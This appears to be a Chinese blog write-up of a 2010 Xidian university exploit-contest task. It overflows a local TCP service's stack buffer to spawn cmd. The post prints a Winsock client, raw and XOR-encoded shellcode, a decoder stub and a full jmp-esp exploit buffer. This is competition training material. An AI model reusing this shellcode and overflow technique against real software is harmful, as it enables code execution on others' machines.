2010西电攻防exploit第6题

这是2010年溢出第六题,其实挺简单的,就是在shellcode上走了弯路。

 

执行程序后出现

也没法输入数据,那就打开OD看喽。


一看是一个TCP服务端,IP地址是“127.0.0.1”,port端口是0x1e61,即7777,那就构造了一个tcp客户端,发送数据

 

#include <winsock2.h>

#include <stdio.h>

#pragmacomment(lib,"wsock32.lib")

#define BUF_SIZE 10001

WSADATA        wsd;

SOCKET         sHost;           //服务器套接字

SOCKADDR_IN    servAddr;        //服务器地址

int            retVal;          //返回值

int main(int argc, char* argv[])

{

       charbuf[BUF_SIZE]="111111111111111111111111111111....";

                FILE *p=NULL;

   char fname[]="shell2";

       //①初始化套接字动态库

       if(WSAStartup(MAKEWORD(2,2),&wsd) != 0)

       {

              printf("WSAStartupfailed!\n");

 return -1; 

 }

 

 //②创建套接字

 sHost =socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 if(INVALID_SOCKET == sHost)

 {

 printf("socket failed!\n");

 WSACleanup();

 return -1;

 }

 

 //③连接服务器

 servAddr.sin_family = AF_INET;

 servAddr.sin_addr.s_addr =inet_addr("127.0.0.1");

 servAddr.sin_port = htons(7777); //第二题为6000,第6题为7777

 intnServAddLen = sizeof(servAddr);

 retVal = connect(sHost,(LPSOCKADDR)&servAddr, nServAddLen );

 

 if(SOCKET_ERROR == retVal)

 {

 printf("connect failed!\n");

 closesocket(sHost);

 WSACleanup();

 return -1;

 }

 //④发送数据

 while (1)

 {

        retVal = send(sHost, buf, strlen(buf), 0); //发送数据

        if(SOCKET_ERROR == retVal)

        {

               printf("send failed!\n");

               closesocket(sHost);

               WSACleanup();

               return -1;

 

        }

        ZeroMemory(buf,BUF_SIZE);

        retVal = recv(sHost, buf, BUF_SIZE, 0);

        if(SOCKET_ERROR == retVal)

        {

               printf("recv failed!\n");

               closesocket(sHost);

               WSACleanup();

               return -1;

        }

        printf("%s\n",buf);

        ZeroMemory(buf,BUF_SIZE);

    scanf("%s",buf);

}

 //⑤退出

 closesocket(sHost); //关闭socket

 WSACleanup();

 

 return 0;

}

接收数据后往后走,进入这个函数里,发现溢出触发点在这里边。

该函数首先将接收到的数据存入0x18fab8开始的内存里,然后是

一串长长的push call的指令,F8直接跳过,没什么用。

到这个retn这个地方,它返回的是栈地址18fb80里的地址,这个距离我们的数据地址18fab8只有0xc8,即200个字节,这样构造数据,在201到204个字节写\x00\xB8\xFA\x18,获得程序执行权限后程序就跳转到了输入数据的开始处,即shellcode的入口处,就可以执行我们想要的功能了。我就是卡在了这个构造shellcode上了,题上要求是弹出一个cmd,用Metasploit构造shellcode是193个字节,可是里边含有\x00坏字节,还要编码,不行,自己写用动态加载API地址加载shellExecu()函数用了207个自己,不行,用system()函数用了180个字节,这是最小的了,剩下20个字节我好不容易的构造了个解码的程序。

原程序shellcode,180个字节

 

"\xEB\x67\x55\x8B\xEC\x64\xA1\x30"

"\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E"

"\x0C\x33\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03"

"\xF8\x8B\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41"

"\x8B\x54\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75"

"\xE9\x8B\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B"

"\x7B\x1C\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08"

"\x00\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\xE8\x8A\xFF\xFF\xFF"

"\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\xE8\x7A\xFF\xFF\xFF"

"\x50\x68\x72\x74\x00\x00\x68\x6D\x73\x76\x63\x54\xFF\xD0\x83\xC4"

"\x08\x68\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x50\xFF\x54\x24"

"\x14\x83\xC4\x08\x68\x63\x6D\x64\x00\x54\xFF\xD0”

装载运行如图正常

 

写个异或0x95的编码程序编码后是

"\x7e\xf2\xc0\x1e\x79\xf1\x34\xa5\x95\x95\x95\x1e\xd5\x99\x1e\xd5\x81"

"\x1e\x95\x1e\xe5\xbd\x15\xeb\x99\xa6\xe0\x60\x1e\xd5\x85\x1e\x6d"

"\x96\xea\xa9\x1e\xea\xed\x96\x6d\x1e\x4a\x1e\xee\xb5\x96\x6d\xa6"

"\x5c\x1e\xa1\x1a\x96\x65\xd4\x1e\xc1\xb1\x9d\xac\x83\xe0\x67\x1e"

"\xc1\xb1\x99\xac\xc3\x91\xe0\x7c\x1e\xee\xb1\x96\x6d\x1e\x99\xda"

"\x14\x74\x6a\x6a\x95\x95\x1e\xee\x89\x96\x6d\xdc\x54\x74\x97\x1e"

"\xa9\x9a\x96\x52\xc8\x57\x9d\x95\xfd\xe7\xfa\xf6\xd4\xfd\xd2\xf0"

"\xe1\xc5\x7d\x1f\x6a\x6a\x6a\xc5\xfd\xd9\xfc\xf7\xe7\xfd\xd9\xfa"

"\xf4\xf1\x7d\xef\x6a\x6a\x6a\xc5\xfd\xe7\xe1\x95\x95\xfd\xf8\xe6"

"\xe3\xf6\xc1\x6a\x45\x16\x51\x9d\xfd\xf0\xf8\x95\x95\xfd\xe6\xec"

"\xe6\xe1\xc1\xc5\x6a\xc1\xb1\x81\x16\x51\x9d\xfd\xf6\xf8\xf1\x95"

"\xc1\x6a\x45"

 

解码程序是

\x05\x64\x60\xD8\xFF  add eax,0Xffd86064              根据我机器上的具体情况此时eax等于需解码程序的开始地址

\x8A\x1C\x10        mov bl,byte ptr ds:[eax+edx]        edx为0,用来计数

\x80\xF3\x95          xor bl, 0x95                      异或0x95

\x88\x1C\x10          mov byte ptr ds:[eax+edx],bl

\x42                 inc edx

\x80\xFA\xB4         cmp dl,0Xb4                      解码180个字节后停止解码

\x75\xF1             jnz 0018fabd

 

全部解码后

全部解码成功,可是运行时出错,分析一下原来此时esp的内容是18FBXX,有压栈操作时就将这段代码覆盖,导致出错.这样不行,换了种方法,用JMP ESP做跳板,将在程序中找一个jmp esp指令

将这条指令的地址放在shellcode201~204字节的位置,用来覆盖返回地址,只是这个地址不是固定的,kernel32.dll的基地址在每次重启系统后都不一样,有它的局限性。前200字节全用“111”填充,205字节开始构造真正的shellcode

重新构造shellcode如下:

charbuf[BUF_SIZE]="11111111111111111111111111111111111111111111111111"  //填充字节

"11111111111111111111111111111111111111111111111111"

"11111111111111111111111111111111111111111111111111"

"11111111111111111111111111111111111111111111111111"

"\x05\x04\xd7\x74"                                  //关键地址覆盖,指向jmp esp

"\x05\x30\x61\xD8\xFF\x8A\x1C\x10\x80\xF3\x95\x88\x1C\x10\x42\x80\xFA\xD0\x75\xF1"//解码器

"\x7e\xf2\xc0\x1e\x79\xf1\x34\xa5\x95\x95\x95\x1e\xd5\x99\x1e\xd5\x81"   //打开cmd

"\x1e\x95\x1e\xe5\xbd\x15\xeb\x99\xa6\xe0\x60\x1e\xd5\x85\x1e\x6d"

"\x96\xea\xa9\x1e\xea\xed\x96\x6d\x1e\x4a\x1e\xee\xb5\x96\x6d\xa6"

"\x5c\x1e\xa1\x1a\x96\x65\xd4\x1e\xc1\xb1\x9d\xac\x83\xe0\x67\x1e"

"\xc1\xb1\x99\xac\xc3\x91\xe0\x7c\x1e\xee\xb1\x96\x6d\x1e\x99\xda"

"\x14\x74\x6a\x6a\x95\x95\x1e\xee\x89\x96\x6d\xdc\x54\x74\x97\x1e"

"\xa9\x9a\x96\x52\xc8\x57\x9d\x95\xfd\xe7\xfa\xf6\xd4\xfd\xd2\xf0"

"\xe1\xc5\x7d\x1f\x6a\x6a\x6a\xc5\xfd\xd9\xfc\xf7\xe7\xfd\xd9\xfa"

"\xf4\xf1\x7d\xef\x6a\x6a\x6a\xc5\xfd\xf9\xa6\xa7\x95\xfd\xc6\xfd"

"\xf0\xf9\xc1\x6a\x45\x16\x51\x9d\xff\xd4\xfd\xf6\xe0\xe1\xf0\xfd"

"\xf9\xd0\xed\xf0\xfd\xc6\xfd\xf0\xf9\xc1\xc5\x6a\xc1\xb1\x89\x16"

"\x51\x85\xa6\x47\xfd\xf6\xf8\xf1\x95\x1e\x49\xc7\xfd\xfa\xe5\xf0"

"\xfb\x1e\x59\xff\x94\xc7\xc7\xc6\xc4\xc7\x6a\x45\x16\x51\x81";

再次运行程序,然后运行tcp客户端的程序,如图:


最下边的是exploit6程序,中间的是tcp客户端的程序,最上边的是打开的cmd,因为我没在shellcode中写ExitProcess函数,所以exploit6程序无法善终,但是打开cmd的要求已经实现了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值